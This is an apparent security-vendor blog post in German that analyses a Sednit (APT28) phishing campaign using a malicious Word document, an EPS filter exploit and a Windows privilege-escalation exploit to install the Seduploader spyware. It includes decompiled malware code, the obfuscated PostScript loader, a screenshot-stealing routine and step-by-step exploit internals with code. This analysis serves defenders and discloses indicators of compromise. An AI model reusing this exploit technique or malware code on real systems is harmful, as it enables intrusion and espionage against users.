Sednit ist mit zwei 0days-Exploits zurück

Einführung

Die Sednit-Gruppe, die auch unter den Pseudonymen APT28, Fancy Bear und Sofacy bekannt ist, operiert seit mindestens 2004. Ihre Intention ist das Stehlen vertraulicher Informationen von ausgewählten Zielen. Im Oktober 2016 veröffentlichte ESET eine umfangreiche Analyse von Sednits Angriffsmethoden und Taktiken in einem Whitepaper mit dem Titel « En Route with Sednit » .

Im vergangenen Monat rückte Sednit wieder in den Fokus der Öffentlichkeit, da die Gruppe angeblich die französischen Wahlen gestört haben soll. Genauer gesagt hatten sie es auf den Präsidentschaftskandidaten Emmanuel Macron abgesehen. Im selben Zeitraum hat eine Phishing-E-Mail mit einem Anhang namens Trump's_Attack_on_Syria_English.docx unsere Aufmerksamkeit erregt.

Analysen des Dokuments offenbarten das eigentliche Ziel: Das Streuen des gut bekannten Aufklärungswerkzeugs Seduploader. Um das zu erreichen, verwendete Sednit zwei Zeroday-Exploits (0days). Der eine Exploit ist eine Remote Code Execution Sicherheitslücke (RCE) in Microsoft Word (CVE-2017-0261). Der andere Exploit sorgt für eine lokale Privileg-Eskalation (LPE) in Windows (CVE-2017-0263). ESET informierte Microsoft über beide Schwachstellen. Mit dem heutigen Patch Tuesday sollen die beiden Sicherheitslücken geschlossen werden.

Dieser Blogpost beschreibt das mögliche Angriffsszenario und erläutert die Schwachstellen, über die ausgewählte Ziele kompromittiert werden.

Vom Word-Exploit zum Seduploader-Dropper

Die untere Grafik erläutert die spezifische Attacke, die absolut mit den üblichen Sednit Angriffsmethoden übereinstimmt: Die Verwendung einer Spearphishing-E-Mail mit einer bösartigen Installationsdatei (First-Stage Payload) im Anhang.

Dieses Mal lockte die Phishing-E-Mail mit Informationen zu Trumps Angriff in Syrien.

Das infizierte Lockvogel-Worddokument beinhaltet eine wortwörtliche Kopie des Artikels « Trump’s Attack on Syria: Wrong for so Many Reasons ». Dieser erschien am 12. April 2017 im The California Courier:

An dieser Stelle fängt die Kompromittierung an interessant zu werden. Das Lockvogel-Worddokument beinhaltet zwei Exploits, welche die Installation von Seduploader ermöglichen. Das untere Schema verdeutlicht das Vorgehen.

Die zwei verwendeten Exploits reihen sich in die Liste der Sicherheitslücken ein, die Sednit im Verlauf der vergangenen zwei Jahre einsetzte. Der Zeitstrahl verdeutlicht das:

Einmal geöffnet, spricht das Lockvogel-Dokument zuerst CVE-2017-0261 an. Das ist eine Sicherheitslücke im EPS-Filter in MS Office, welche CVE-2015-2545 extrem ähnelt (siehe FireEye). In unserem Fall heißt die schädliche EPS-Datei im Microsoft Worddokument « image1.eps » .

$ file Trump\'s_Attack_on_Syria_English.docx
 Trump's_Attack_on_Syria_English.docx: Zip archive data, at least v2.0 to extract
 $ unzip Trump\'s_Attack_on_Syria_English.docx
 Archive: Trump’s_Attack_on_Syria_English.docx
 inflating: [Content_Types].xml
 inflating: docProps/app.xml
 inflating: docProps/core.xml
 inflating: word/document.xml
 inflating: word/fontTable.xml
 inflating: word/settings.xml
 inflating: word/styles.xml
 inflating: word/webSettings.xml
 inflating: word/media/image1.eps
 inflating: word/theme/theme1.xml
 inflating: word/_rels/document.xml.rels
 inflating: _rels/.rels

$ file word/media/image1.eps
 word/media/image1.eps: PostScript document text conforming DSC level 3.0

Der erste von dem Exploit ausgeführte Code XOR-verknüpft den ganzen Hex-Blob mit dem Schlüssel 0xc45d6491 und führt ihn aus.

$ cat word/media/image1.eps
 %!PS-Adobe-3.0
 %%BoundingBox:   36   36 576 756
 %%Page: 1 1
 /A3{ token pop exch pop } def /A2 <c45d6491> def /A4{ /A1 exch def 0 1 A1 length 1 sub { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put } for A1 } def <bf7d4bd9[...]b97d44b1> A4 A3 exec quit

Das lädt einen Shellcode, der einige undokumentierte Windows-APIs wie z. B. NtAllocateVirtualMemory, NtFreeVirtualMemory und ZwProtectVirtualMemory abruft.

[...]
 v1 = (*(__readfsdword(0x30u) + 12) + 12);
 v2 = v1->InLoadOrderModuleList.Flink;
 [...]
 for ( addr_user32 = 0; v2 != v1; v135 = v2 )
 {
 v3 = *(v2 + 48);
 v132 = *(v2 + 44);
 if ( v3 )
 {
 v4 = *v3;
 v5 = 0;
 v6 = 0;
 if ( *v3 )
 {
 do
 {
 if ( v132 && v6 >= v132 )
 break;
 if ( (v4 - 0x41) <= 0x19u )
 v4 += 0x20;
 v2 = v135;
 v7 = __ROL4__(v5, 7);
 ++v3;
 v5 = v4 ^ v7;
 v4 = *v3;
 ++v6;
 }
 while ( *v3 );
 v1 = v133;
 }
 switch ( v5 )
 {
 case kernel32:
 addr_kernel32 = *(v2 + 24);break;
 case ntdll:
 addr_ntdll = *(v2 + 24);
 break;
 case user32:
 addr_user32 = *(v2 + 24);
 break;
 }
 }
 [...]

Nach weiterer Entschlüsselung wird der Seduploader-Dropper geladen und ausgeführt. Hierbei sei angemerkt, dass alle Programmausführungen innerhalb des WINWORD.EXE-Prozesses unter gegebenen User-Rechten ablaufen.

Seduploader-Dropper

Der Seduploader besteht aus zwei verschiedenen Komponenten: einem Dropper und einer persistenten Nutzlast (siehe dazu Seite 27 im En Route with Sednit Whitepaper).

Der Dropper hat sich im Vergleich zur letzten von uns beobachteten Version weiterentwickelt. Das Ziel ist dabei gleichgeblieben: Das Ausliefern der Seduploader Nutzlast. Die neue Version des Droppers beinhaltet nun Codezeilen, um einen LPE-Exploit in CVE-2017-2063 zu implementieren.

Eine detaillierte Analyse dieser Sicherheitslücke folgt in einem der nächsten Blogposts; jetzt fokussieren wir uns auf Seduploader.

Zuerst prüft der neue Code des Droppers, ob der Prozess auf einer 32-Bit- oder 64-Bit-Version von Windows läuft. Je nach Resultat wird daraufhin die korrekte Exploit-Version in den Speicher geladen.

[...]
 if ( Is64Process() == 1 )
 {
 addr_exploit = exploit_64b;
 size_exploit = 0x2E00;
 }
 else
 {
 addr_exploit = exploit_32b;
 size_exploit = 0x2400;
 }
 [...]

Ist der Exploit erst einmal erfolgreich ausgeführt, lädt sich Seduploader-Dropper neu in den WINWORD Speicher und ruft CreateRemoteThread mit der Adresse des UpLoader Einstiegspunkts. Das wird den für die Installation der Seduploader Nutzlast zuständigen Code ausführen. Dank des Exploits kann der Code mit System-Rechten angewandt werden.

Seduploader Nutzlast

Die Nutzlast von Seduploader ist ein Downloader, der von den Sednit-Operatoren als Aufklärungsmalware gebraucht wird und aus zwei Teilen besteht. Der erste Teil ist für die Implementierung des zweiten Teils in den richtigen Prozess verantwortlich – je nachdem, ob im WINWORD.EXE-Prozess geladen oder nicht. Der zweite Teil ist der Downloader selbst.

Insofern Seduploader in WINWORD.EXE läuft, erstellt der erste Teil einen Mutex names flPGdvyhPykxGvhDOAZnU und öffnet einen Referenzwert (Handle) für den aktuellen Prozess. Dieser Wert wird gebraucht, um Speicher zuzuordnen und darin den Code des zweiten Teils der Nutzlast zu schreiben. Danach erfolgt die Ausführung durch den Aufruf von CreateRemoteThread. Wenn es allerdings nicht unter WINWORD.EXE läuft, verwendet die Malware SeduploaderCreateThread, um den zweiten Teil zu starten.

Der Downloader enthält die üblichen Seduploader-Funktionen und String-Verschlüsselungsalgorithmen. Allerdings beinhaltet er auch eine gewisse Anzahl von Änderungen, die wir weiter unten näher beschreiben.

Zunächst wurde der Hash-Algorithmus zur Identifizierung der DLL-Namen und zur Auflösung von API-Funktionen durch einen neuen ersetzt. Die aufmerksamen Leser unseres Whitepapers erinnern sich, dass Carberp dem alten Hash-Algorithmus als Inspirationsquelle diente. Auch der neue Algorithmus wurde nicht von Grund auf neu erstellt. Dieses Mal bedienten sich die Sednit-Akteure am Code von PowerSniff.

Als nächstes wurde in der Meldung von Seduploader ein neues img-tag hinzugefügt. Dieses tag ermöglicht das Herausfiltern von Screenshots:

[...]
 keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY, 0u);
 Sleep(1000u);
 keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY|KEYEVENTF_KEYUP, 0u);
 OpenClipboard(0u);
 hData = GetClipboardData(CF_BITMAP);
 CloseClipboard();
 if ( !hData )
 return 0;
 GdiplusStartupInput = (const int *)1;
 v10 = 0;
 v11 = 0;
 v12 = 0;
 GdiplusStartup(&token, &GdiplusStartupInput, 0);
 if ( fGetEncoderClsid((int)L"image/jpeg", &imageCLSID) )
 {
 v4 = sub_10003C5F((int)hData, 0);
 ppstm = 0;
 CreateStreamOnHGlobal(0u, 1u, &ppstm);
 v5 = GdipSaveImageToStream(v4[1], ppstm, &imageCLSID, 0);
 if ( v5 )
 v4[2] = v5;
 (*(void (__thiscall **)(_DWORD *, signed int))*v4)(v4, 1);
 IStream_Size(ppstm, &pui);
 cb = pui.s.LowPart;
 v7 = ppstm;
 *a1 = pui.s.LowPart;
 IStream_Reset(v7);
 v1 = j_HeapAlloc(cb);
 IStream_Read(ppstm, v1, cb);
 ppstm->lpVtbl->Release(ppstm);
 }
 GdiplusShutdown(token);
 return v1;
 }

Die Sednit-Operatoren erfinden das Rad auch dieses Mal nicht neu. Die ESET-Forscher fanden Ähnlichkeiten zwischen der Implementierung der Screenshot-Funktion und einem Code, der auf Stackoverflow zu finden ist. Anstatt GetForegroundWindow für das Abrufen eines Referenzwerts zu gebrauchen, beschlossen Sednit, keybd_event zu verwenden. Damit wurde ein “Print Screen“ (Drucken)-Tastaturanschlag erzeugt. Den Screenshot konnte man so aus der Zwischenablage abholen.

Das Bild wird dann base64-codiert und der Meldung hinzugefügt, deren Struktur nun so aussieht:

* Ergebnis von “import win32api;print hex(win32api.GetVolumeInformation("C:\\")[1])”
** Inhalt von HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
*** schaltet um, wenn SEDUPLOADER Injektion in einen Browser verwendet, um eine Verbindung zum Internet herzustellen

Screenshotting wurde schon vorher von Sednit benutzt. In der Vergangenheit wurde das Feature in ein separates, eigenständiges Tool gebaut, das oft von Xtunnel in einer späteren Infektionsstufe aufgerufen wurde (siehe Seite 77 unseres Whitepapers). Nun ist es aber in Seduploader für den Einsatz in der Aufklärungsphase implementiert.

Letztendlich wurde auch an der Konfiguration geschraubt und zwei neue Funktionen hinzugefügt: shell und LoadLib. Die shell-Konfiguration erlaubt den Angreifern beliebigen Code direkt in-memory auszuführen. Die LoadLib ist ein Bit-Feld, das erlaubt, eine beliebige .dll durch den Aufruf von rundll32.exe zu starten.

CVE-2017-0263 – Local Privilege Escalation (LPE)

Exploit Workflow

Um die Sedupload Nutzlast verteilen zu können, erlangt der Sedupload Dropper System-Rechte, indem er die CVE-2017-0263 LPE-Sicherheitslücke ausnutzt. Im folgenden Abschnitt beschreiben wir, wie genau die Sicherheitslücke durch Sednit ausgenutzt wird.

Wenngleich die Sicherheitslücke Windows 7 und neuere Betriebssysteme betrifft, ist der Exploit jedoch nicht für die Versionen ab Windows 8.1 aufsteigend programmiert.

Da der Exploit 32-bit und 64-bit Plattformen anvisiert, wird die Malware zunächst feststellen, ob der Prozess unter WOW64 läuft. Der Exploit wird mehrere Seiten zuordnen, bis er eine hohe Adresse erreicht (0x02010000). Dann baut er die folgende Struktur auf:

struct Payload
 {
 LONG PTEAddress;               // Points to the PTE entry containing the physical address of the page containing our structure. Only used for windows 8+
 LONG pid;                     // Injected process pid;
 LONG offset_of_lpszMenuName;   // Offset of the lpszMenuName in the win32k!tagCLS structure
 LONG offset_of_tagTHREADINFO; // Offset of the pti field in the win32k!tagWND structure.
 LONG offset_of_tagPROCESSINFO; // Offset of the ppi field in the win32k!tagTHREADINFO structure.
 LONG offset_of_TOKEN;         // Offset of the Token field in the nt!_EPROCESS structure.
 LONG tagCLS[0x100];           // Array containing the tagCLS of the created windows.
 LONG WndProcCode;             // Code of the WndProc meant to be run in kernel mode.
 };

Danach bezieht der Exploit die Adresse von HMValidateHandle. Diese Funktion erlaubt dem Angreifer die Kernel-Adresse eines tagWND-Objekts aufzuspüren.

Der folgende Überblick zeigt, wie der Rest vom Exploit funktioniert:

Der Exploit wird 256 randomisierte Window Classes und deren assozierte Fenster erstellen. Jedes Fenster besitzt 512 Bytes Extra-Speicher. Dieser Extra-Speicher hängt mit dem tagWND-Objekt im Kernel Space zusammen. Nach dem ersten erstellten Fenster, beispielsweise im Extra-Speicher, baut der Exploit ein Fake-Objekt auf, das meistens nur eine eigene Adresse für die spätere Verwendung enthält. Das visualisiert die folgende Abbildung:

Sind alle Fenster erstellt, weist der Exploit noch zwei weitere Fenster zu. Der Zweck des ersten Fensters ist der, in einem Kernel-Thread ausgeführt zu werden – nennen wir das Fenster KernelWnd. Das andere wird hauptsächlich alle notwendigen Meldungen erhalten, die für den Exploit wichtig sind – nennen wir das Fenster TargetWindow. Dann verknüpft der Exploit diese Prozedur mit dem neu zugeordneten Objekt KernelWnd.

// ...
 TargetWindow = CreateWindowExW(0x80088u, MainWindowClass, 0, WS_VISIBLE, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
 KernelWnd = CreateWindowExW(0, MainWindowClass, 0, 0, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
 // ...
 SetWindowLongW(KernelWnd, GWL_WNDPROC, (LONG)Payload_0->WndProc);

Nun wird das Verhalten der Win32k-Komponente noch in einen Kontext eingebunden. Jedes Mal, wenn nun ein neues Fenster über CreateWindowExW erstellt wird, weist der Treiber ein neues tagWND-Objekt im Kernel zu. Das Objekt kann in etwa wie folgt beschrieben werden (einige Felder sind der Übersichtlichkeit halber entfernt worden):

kd> dt tagWND
 win32k!tagWND
 +0x000 head             : _THRDESKHEAD
 +0x028 state           : Uint4B
 // ...
 +0x028 bServerSideWindowProc : Pos 18, 1 Bit
 // ...
 +0x042 fnid             : Uint2B
 +0x048 spwndNext       : Ptr64 tagWND
 +0x050 spwndPrev       : Ptr64 tagWND
 +0x058 spwndParent     : Ptr64 tagWND
 +0x060 spwndChild       : Ptr64 tagWND
 +0x068 spwndOwner      : Ptr64 tagWND
 +0x070 rcWindow         : tagRECT
 +0x080 rcClient         : tagRECT
 +0x090 lpfnWndProc     : Ptr64     int64
 +0x098 pcls             : Ptr64 tagCLS
 // ...

Wie wir sehen können, enthält tagWND->lpfnWindowProc die Adresse des mit der Prozedur verknüpften Fensters. Normalerweise reduziert der Treiber seine Rechte, um die Prozedur im User-Kontext zu vollziehen. Dieses Verhalten wird durch das Bit tagWND->bServerSideProc gesteuert. Ist das Bit aktiviert, wird die Prozedur mit erhöhten Rechten ausgeführt, beispielsweise im Kernel. Der Exploit funktioniert durch das Umschalten des tagWND->bServerSideProc-Bits. Die Angreifer müssen nur noch herausfinden, wie das geht.

Während der Zerstörung der Menüs prüft die zuvor eingerichtete Hook, ob die Klasse des Objekts SysShadow ist, wie im nächsten Codeblock zu sehen. Ist das der Fall, wird das zugehörige Vorgehen mit dem eigenen ersetzt.

GetClassNameW(tagCWPSTRUCT->hwnd, &ClassName, 20);
 if ( !wcscmp(&ClassName, STR_SysShadow) )
 {
 if ( ++MenuIndex == 3 )
 {
 // tagWND
 ::wParam = *(_DWORD *)(FN_LeakHandle((int)hWnd[0]) + sizeof_tagWND_0);
 // Replace the WndProc of the object
 SetWindowLongW(tagCWPSTRUCT->hwnd, GWL_WNDPROC, (LONG)FN_TriggerExploit);
 }

An der Vorgehensweise können wir sehen, dass der Exploit nach der WM_NCDESTROY-Meldung Ausschau hält. Wenn die Anforderung erfüllt ist, wird ein bösartiges tagPOPUPMENU-Objekt erstellt, das durch den folgenden Pseudocode beschrieben wird:

if ( Msg == WM_NCDESTROY )
 {
 struct tagPOPUPMENU *pm = BuildFakeObject();
 SetClassLongW(..., pm);
 }

Man beachte, dass die Adresse, die zum Erstellen des Objekts verwendet wird, innerhalb des Extra-Speichers liegt. Dieser wurde am Ende unseres ersten tagWND zugewiesen. Danach ruft der Exploit  NtUserMNDragLeave auf, um das bServerSideProc-Bit des KernelWnd-Objekts zu kippen. Um das zu ermöglichen, wird die Funktion ein tagMENUSTATE-Objekt mit Hilfe der Struktur von tagTHREADINFO abrufen. Das tagMENUSTATE-Objekt beinhaltet die Adresse des zu zerstörenden Menüobjekts (tagMENUSTATE->pGlobalPopupMenu).

Wir können sehen, dass tagPOPUPMENU das schädliche Objekt ist, welches wir zuvor im User Space durch das Aufrufen von NtUserMNDragLeave erstellten. Wenn wir die Felder im bösartigen tagPOPUPMENU betrachten, können wir sehen, dass sie alle in den Extra-Speicher zeigen – ausgenommen ist der, welcher zu unserem KernelWnd-Objekt zeigt.

Von hier an wird die Ausführung die Funktion MNFreePopup erreichen, welche auf ein tagPOPUPMENU-Objekt zeigt. Schließlich ruft diese Funktion HMAssignmentUnlock auf und übergibt die Felder spwndNextPopup und spwndPrevPopup als Argument.

; win32k!HMAssignmentUnlock
 sub     rsp,28h
  mov     rdx,qword ptr [rcx]
  and     qword ptr [rcx],0
  test   rdx,rdx
  je     win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
  add     dword ptr [rdx+8],0FFFFFFFFh ; Flipping bServerSideProc
 jne     win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
  movzx   eax,word ptr [rdx]

Nach der Ausführung von Syscall sieht unsere tagWND-Struktur, die mit unserem KernelWnd verknüpft ist, wie folgt aus:

Alle Einstellungen sind nun vorgenommen! Der Exploit muss nur die richtige Meldung übergeben, um die Ausführung unserer Prozedur im Kernel-Modus auszulösen.

syscall(NtUserMNDragLeave, 0, 0);
 // Send a message to the procedure in order to trigger its execution in kernel mode.
 KernelCallbackResult = SendMessageW(KernelWnd, 0x9F9Fu, ::wParam, 0);
 Status.Triggered = KernelCallbackResult == 0x9F9F;
 if ( KernelCallbackResult != 0x9F9F )
 // Error, try again.
 PostMessageW(TargetWindow, 0xABCDu, 0, 0);

Schlussendlich stiehlt die mit erweiterten Rechten laufende Window-Prozedur das System-Token und fügt es dem aufrufenden Prozess hinzu. Nach dem erfolgreichen Durchlauf des Exploits sollte FLTLDR.EXE mit System-Rechten laufen. Außerdem wird Seduploaders Nutzlast installiert.

Zusammenfassung

Diese Malware-Kampagne verdeutlicht uns, dass die Sednit-Operatoren ihre Aktivitäten noch nicht eingestellt haben. Sie halten an alten Gewohnheiten fest und nutzen bekannte Angriffsmethoden, verwenden Code anderer Malware-Entwickler wieder und bauen kleine Tippfehler in ihre Konfigurationsdateien ein (siehe Seduploaders config: shel anstelle von shell).

Nicht ungewöhnlich ist auch die Tatsache, dass sie einmal mehr ihren “Malware-Werkzeugkoffer“ aufgerüstet haben. Dieses Mal fügten sie ihrem Arsenal einen Screenshotter und zwei 0days-Exploits hinzu.

Von CVE-2017-0261 und CVE-2017-0263 betroffene Plattformen (nach Microsoft)

CVE-2017-0261

Microsoft Office 2010 Service Pack 2 (32-bit editions)

Microsoft Office 2010 Service Pack 2 (64-bit editions)

Microsoft Office 2013 Service Pack 1 (32-bit editions)

Microsoft Office 2013 Service Pack 1 (64-bit editions)

Microsoft Office 2013 RT Service Pack 1

Microsoft Office 2016 (32-bit edition)

Microsoft Office 2016 (64-bit edition)

CVE-2017-0263

Windows 7 for 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows 8.1 for 32-bit systems

Windows 8.1 for x64-based systems

Windows Server 2012 R2

Windows RT 8.1

Windows Server 2012 R2 (Server Core installation)

Windows 10 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 Version 1511 for x64-based Systems

Windows 10 Version 1511 for 32-bit Systems

Windows Server 2016

Windows 10 Version 1607 for 32-bit Systems

Windows 10 Version 1607 for x64-based Systems

Windows Server 2016 (Server Core installation)

Windows 10 Version 1703 for 32-bit Systems

Windows 10 Version 1703 for x64-based Systems

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2<

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

IoCs

Mutex

flPGdvyhPykxGvhDOAZnU

Registry key

HKCU\Software\Microsoft\Office test\Special\Perf